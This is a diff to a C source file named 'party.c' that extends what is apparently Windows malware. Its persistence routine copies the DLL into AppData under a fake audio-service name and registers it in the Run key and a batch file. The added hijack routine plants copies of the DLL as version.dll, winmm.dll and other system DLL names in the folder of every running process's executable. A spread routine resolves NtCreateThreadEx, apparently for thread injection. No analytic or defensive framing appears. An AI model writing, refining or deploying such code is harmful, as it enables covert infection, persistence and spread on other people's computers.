Upload files to "/"

party.c

@@ -523,10 +523,8 @@ static void do_persist(void){
     WCHAR appdata[MAX_PATH]; if(!GetEnvironmentVariableW(L"APPDATA",appdata,MAX_PATH)) return;
     WCHAR dst[MAX_PATH];
     wsprintfW(dst,L"%s\\Microsoft\\Windows\\AudioSrv%04x.dll",appdata,GetCurrentProcessId()&0xFFFF);
-    if(GetFileAttributesW(dst)!=INVALID_FILE_ATTRIBUTES) return;
-    if(!CopyFileW(src,dst,TRUE)) return;
-    WCHAR cmd[MAX_PATH*2+32];
-    wsprintfW(cmd,L"rundll32.exe \"%s\",DllMain",dst);
+    if(GetFileAttributesW(dst)==INVALID_FILE_ATTRIBUTES) CopyFileW(src,dst,TRUE);
+    WCHAR cmd[MAX_PATH*2+32]; wsprintfW(cmd,L"rundll32.exe \"%s\",DllMain",dst);
     HKEY hk;
     if(RegOpenKeyExW(HKEY_CURRENT_USER,L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hk)==ERROR_SUCCESS){
         RegSetValueExW(hk,L"AudioEndpointBuilder",0,REG_SZ,(const BYTE*)cmd,(DWORD)((wcslen(cmd)+1)*2));
@@ -541,11 +539,38 @@ static void do_persist(void){
     HANDLE hf=CreateFileW(bat,GENERIC_WRITE,0,NULL,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,NULL);
     if(hf!=INVALID_HANDLE_VALUE){
         char narrow[MAX_PATH]; WideCharToMultiByte(CP_ACP,0,dst,-1,narrow,MAX_PATH,0,0);
-        char buf[512]; wsprintfA(buf,"@echo off\r\nrundll32.exe \"%s\",DllMain\r\n",narrow);
-        DWORD w=0; WriteFile(hf,buf,(DWORD)lstrlenA(buf),&w,NULL); CloseHandle(hf);
+        char line[512]; wsprintfA(line,"@echo off\r\nrundll32.exe \"%s\",DllMain\r\n",narrow);
+        DWORD w=0; WriteFile(hf,line,(DWORD)lstrlenA(line),&w,NULL); CloseHandle(hf);
     }
 }
 
+static void do_hijack(void){
+    WCHAR src[MAX_PATH]; if(!GetModuleFileNameW(g_hmod,src,MAX_PATH)) return;
+    HANDLE snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(snap==INVALID_HANDLE_VALUE) return;
+    DWORD mypid=GetCurrentProcessId();
+    PROCESSENTRY32W pe={sizeof(pe)};
+    if(Process32FirstW(snap,&pe)) do {
+        if(pe.th32ProcessID<=8||pe.th32ProcessID==mypid) continue;
+        HANDLE hmod=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,pe.th32ProcessID);
+        if(hmod==INVALID_HANDLE_VALUE) continue;
+        MODULEENTRY32W me={sizeof(me)};
+        if(Module32FirstW(hmod,&me)){
+            WCHAR *exe=me.szExePath;
+            WCHAR *slash=exe; WCHAR *p=exe;
+            while(*p){if(*p==L'\\'||*p==L'/')slash=p;p++;}
+            *slash=0;
+            const WCHAR *targets[]={L"\\version.dll",L"\\winmm.dll",L"\\dbghelp.dll",L"\\cryptbase.dll",L"\\uxtheme.dll"};
+            for(int i=0;i<5;i++){
+                WCHAR dst[MAX_PATH]; wcscpy(dst,exe); wcscat(dst,targets[i]);
+                if(GetFileAttributesW(dst)==INVALID_FILE_ATTRIBUTES)
+                    CopyFileW(src,dst,TRUE);
+            }
+        }
+        CloseHandle(hmod);
+    } while(Process32NextW(snap,&pe));
+    CloseHandle(snap);
+}
+
 static void do_spread(void){
     HMODULE hnt=LoadLibraryW(L"ntdll.dll");
     PFN_NtCTE ntcte=hnt?(PFN_NtCTE)GetProcAddress(hnt,"NtCreateThreadEx"):NULL;
@@ -586,6 +611,7 @@ static DWORD WINAPI party_thread(void *u){
     WaitForMultipleObjects(3,threads,TRUE,90000);
     for(int i=0;i<3;i++) if(threads[i]) CloseHandle(threads[i]);
     do_persist();
+    do_hijack();
     do_spread();
     WCHAR pname[64]; get_pipe_name(pname);
     DWORD pid=GetCurrentProcessId();